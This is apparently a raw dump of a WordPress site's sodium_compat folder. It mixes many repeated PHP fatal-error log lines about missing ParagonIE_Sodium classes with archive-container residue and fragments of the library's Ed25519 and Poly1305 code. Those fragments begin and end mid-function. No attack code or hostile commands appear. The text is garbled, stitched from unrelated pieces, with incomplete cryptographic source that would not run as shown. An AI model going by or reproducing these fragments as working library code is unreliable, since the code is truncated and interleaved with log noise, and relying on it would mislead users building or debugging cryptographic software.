/home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [10-Sep-2026 10:35:00 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [10-Sep-2026 14:01:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [10-Sep-2026 14:01:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [10-Sep-2026 14:12:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [10-Sep-2026 14:12:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 [10-Sep-2026 22:14:28 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/Ctx.php on line 10 [10-Sep-2026 22:14:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20_Ctx" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20/IetfCtx.php on line 10 PK!Hw=w=src/Core32/Ed25519.phpnu[X)) { throw new SodiumException('Unexpected zero result'); } # fe_1(one_minus_y); # fe_sub(one_minus_y, one_minus_y, A.Y); # fe_invert(one_minus_y, one_minus_y); $one_minux_y = self::fe_invert( self::fe_sub( self::fe_1(), $A->Y ) ); # fe_1(x); # fe_add(x, x, A.Y); # fe_mul(x, x, one_minus_y); $x = self::fe_mul( self::fe_add(self::fe_1(), $A->Y), $one_minux_y ); # fe_tobytes(curve25519_pk, x); return self::fe_tobytes($x); } /** * @internal You should not use this directly from another application * * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sk_to_pk($sk) { return self::ge_p3_tobytes( self::ge_scalarmult_base( self::substr($sk, 0, 32) ) ); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError */ public static function sign($message, $sk) { /** @var string $signature */ $signature = self::sign_detached($message, $sk); return $signature . $message; } /** * @internal You should not use this directly from another application * * @param string $message A signed message * @param string $pk Public key * @return string Message (without signature) * @throws SodiumException * @throws TypeError */ public static function sign_open($message, $pk) { /** @var string $signature */ $signature = self::substr($message, 0, 64); /** @var string $message */ $message = self::substr($message, 64); if (self::verify_detached($signature, $message, $pk)) { return $message; } throw new SodiumException('Invalid signature'); } /** * @internal You should not use this directly from another application * * @param string $message * @param string $sk * @return string * @throws SodiumException * @throws TypeError * @psalm-suppress PossiblyInvalidArgument */ public static function sign_detached($message, $sk) { # crypto_hash_sha512(az, sk, 32); $az = hash('sha512', self::substr($sk, 0, 32), true); # az[0] &= 248; # az[31] &= 63; # az[31] |= 64; $az[0] = self::intToChr(self::chrToInt($az[0]) & 248); $az[31] = self::intToChr((self::chrToInt($az[31]) & 63) | 64); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, az + 32, 32); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, nonce); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($az, 32, 32)); self::hash_update($hs, $message); $nonceHash = hash_final($hs, true); # memmove(sig + 32, sk + 32, 32); $pk = self::substr($sk, 32, 32); # sc_reduce(nonce); # ge_scalarmult_base(&R, nonce); # ge_p3_tobytes(sig, &R); $nonce = self::sc_reduce($nonceHash) . self::substr($nonceHash, 32); $sig = self::ge_p3_tobytes( self::ge_scalarmult_base($nonce) ); # crypto_hash_sha512_init(&hs); # crypto_hash_sha512_update(&hs, sig, 64); # crypto_hash_sha512_update(&hs, m, mlen); # crypto_hash_sha512_final(&hs, hram); $hs = hash_init('sha512'); self::hash_update($hs, self::substr($sig, 0, 32)); self::hash_update($hs, self::substr($pk, 0, 32)); self::hash_update($hs, $message); $hramHash = hash_final($hs, true); # sc_reduce(hram); # sc_muladd(sig + 32, hram, az, nonce); $hram = self::sc_reduce($hramHash); $sigAfter = self::sc_muladd($hram, $az, $nonce); $sig = self::substr($sig, 0, 32) . self::substr($sigAfter, 0, 32); try { ParagonIE_Sodium_Compat::memzero($az); } catch (SodiumException $ex) { $az = null; } return $sig; } /** * @internal You should not use this directly from another application * * @param string $sig * @param string $message * @param string $pk * @return bool * @throws SodiumException * @throws TypeError */ public static function verify_detached($sig, $message, $pk) { if (self::strlen($sig) < 64) { throw new SodiumException('Signature is too short'); } if ((self::chrToInt($sig[63]) & 240) && self::check_S_lt_L(self::substr($sig, 32, 32))) { throw new SodiumException('S < L - Invalid signature'); } if (self::small_order($sig)) { throw new SodiumException('Signature is on too small of an order'); } if ((self::chrToInt($sig[63]) & 224) !== 0) { throw new SodiumException('Invalid signature'); } $d = 0; for ($i = 0; $i < 32; ++$i) { $d |= self::chrToInt($pk[$i]); } if ($d === 0) { throw new SodiumException('All zero public key'); } /** @var bool The original value of ParagonIE_Sodium_Compat::$fastMult */ $orig = ParagonIE_Sodium_Compat::$fastMult; // Set ParagonIE_Sodium_Compat::$fastMult to true to speed up verification. ParagonIE_Sodium_Compat::$fastMult = true; /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A */ $A = self::ge_frombytes_negate_vartime($pk); /** @var string $hDigest */ $hDigest = hash( 'sha512', self::substr($sig, 0, 32) . self::substr($pk, 0, 32) . $message, true ); /** @var string $h */ $h = self::sc_reduce($hDigest) . self::substr($hDigest, 32); /** @var ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $R */ $R = self::ge_double_scalarmult_vartime( $h, $A, self::substr($sig, 32) ); /** @var string $rcheck */ $rcheck = self::ge_tobytes($R); // Reset ParagonIE_Sodium_Compat::$fastMult to what it was before. ParagonIE_Sodium_Compat::$fastMult = $orig; return self::verify_32($rcheck, self::substr($sig, 0, 32)); } /** * @internal You should not use this directly from another application * * @param string $S * @return bool * @throws SodiumException * @throws TypeError */ public static function check_S_lt_L($S) { if (self::strlen($S) < 32) { throw new SodiumException('Signature must be 32 bytes'); } static $L = array( 0xed, 0xd3, 0xf5, 0x5c, 0x1a, 0x63, 0x12, 0x58, 0xd6, 0x9c, 0xf7, 0xa2, 0xde, 0xf9, 0xde, 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10 ); /** @var array $L */ $c = 0; $n = 1; $i = 32; do { --$i; $x = self::chrToInt($S[$i]); $c |= ( (($x - $L[$i]) >> 8) & $n ); $n &= ( (($x ^ $L[$i]) - 1) >> 8 ); } while ($i !== 0); return $c === 0; } /** * @param string $R * @return bool * @throws SodiumException * @throws TypeError */ public static function small_order($R) { static $blocklist = array( /* 0 (order 4) */ array( 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 1 (order 1) */ array( 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ), /* 2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0x26, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x05 ), /* 55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xc7, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0x7a ), /* p-1 (order 2) */ array( 0x13, 0xe8, 0x95, 0x8f, 0xc2, 0xb2, 0x27, 0xb0, 0x45, 0xc3, 0xf4, 0x89, 0xf2, 0xef, 0x98, 0xf0, 0xd5, 0xdf, 0xac, 0x05, 0xd3, 0xc6, 0x33, 0x39, 0xb1, 0x38, 0x02, 0x88, 0x6d, 0x53, 0xfc, 0x85 ), /* p (order 4) */ array( 0xb4, 0x17, 0x6a, 0x70, 0x3d, 0x4d, 0xd8, 0x4f, 0xba, 0x3c, 0x0b, 0x76, 0x0d, 0x10, 0x67, 0x0f, 0x2a, 0x20, 0x53, 0xfa, 0x2c, 0x39, 0xcc, 0xc6, 0x4e, 0xc7, 0xfd, 0x77, 0x92, 0xac, 0x03, 0xfa ), /* p+1 (order 1) */ array( 0xec, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+2707385501144840649318225287225658788936804267575313519463743609750303402022 (order 8) */ array( 0xed, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* p+55188659117513257062467267217118295137698188065244968500265048394206261417927 (order 8) */ array( 0xee, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x7f ), /* 2p-1 (order 2) */ array( 0xd9, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p (order 4) */ array( 0xda, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ), /* 2p+1 (order 1) */ array( 0xdb, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff ) ); /** @var array> $blocklist */ $countBlocklist = count($blocklist); for ($i = 0; $i < $countBlocklist; ++$i) { $c = 0; for ($j = 0; $j < 32; ++$j) { $c |= self::chrToInt($R[$j]) ^ $blocklist[$i][$j]; } if ($c === 0) { return true; } } return false; } } PK!w`22src/Core32/Poly1305.phpnu[update($m) ->finish(); } /** * @internal You should not use this directly from another application * * @param string $mac * @param string $m * @param string $key * @return bool * @throws SodiumException * @throws TypeError */ public static function onetimeauth_verify($mac, $m, $key) { if (self::strlen($key) < 32) { throw new InvalidArgumentException( 'Key must be 32 bytes long.' ); } $state = new ParagonIE_Sodium_Core32_Poly1305_State( self::substr($key, 0, 32) ); $calc = $state ->update($m) ->finish(); return self::verify_16($calc, $mac); } } PK!||ETyTysrc/Core32/error_lognu[[20-Aug-2026 05:57:34 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [20-Aug-2026 05:57:35 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [20-Aug-2026 05:57:36 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [20-Aug-2026 05:57:37 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [20-Aug-2026 05:57:39 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [20-Aug-2026 05:57:42 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [20-Aug-2026 05:57:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [20-Aug-2026 05:57:48 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [20-Aug-2026 05:57:49 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [20-Aug-2026 05:57:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [20-Aug-2026 05:57:52 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [20-Aug-2026 05:57:53 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [20-Aug-2026 05:57:55 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [04-Sep-2026 13:27:46 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [04-Sep-2026 13:27:47 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [04-Sep-2026 13:27:50 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [04-Sep-2026 13:27:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [04-Sep-2026 13:27:56 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [04-Sep-2026 13:27:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [04-Sep-2026 13:27:57 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [04-Sep-2026 13:28:01 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [04-Sep-2026 13:28:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [04-Sep-2026 13:28:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [04-Sep-2026 13:28:05 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [04-Sep-2026 13:28:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [04-Sep-2026 13:28:06 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [04-Sep-2026 13:40:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/BLAKE2b.php on line 12 [04-Sep-2026 13:40:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/ChaCha20.php on line 10 [04-Sep-2026 13:40:17 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [04-Sep-2026 13:40:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [04-Sep-2026 13:40:23 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_ChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HChaCha20.php on line 10 [04-Sep-2026 13:40:24 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Salsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/HSalsa20.php on line 10 [04-Sep-2026 13:40:24 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Poly1305.php on line 10 [04-Sep-2026 13:40:27 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [04-Sep-2026 13:40:30 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php:12 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/SipHash.php on line 12 [04-Sep-2026 13:40:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Util.php on line 10 [04-Sep-2026 13:40:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [04-Sep-2026 13:40:31 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HChaCha20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XChaCha20.php on line 10 [04-Sep-2026 13:40:32 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_HSalsa20" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/XSalsa20.php on line 10 [10-Sep-2026 10:29:13 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php:16 Stack trace: #0 /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Ed25519.php(7): require_once() #1 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Curve25519.php on line 16 [10-Sep-2026 10:29:14 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/X25519.php on line 10 [10-Sep-2026 10:29:15 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Util" not found in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php:10 Stack trace: #0 {main} thrown in /home/getzgafz/todaypredictionjamu.com/wp-includes/sodium_compat/src/Core32/Salsa20.php on line 10 [10-Sep-2026 10:29:19 UTC] PHP Fatal error: Uncaught Error: Class "ParagonIE_Sodium_Core32_Curve25519_H" not found in 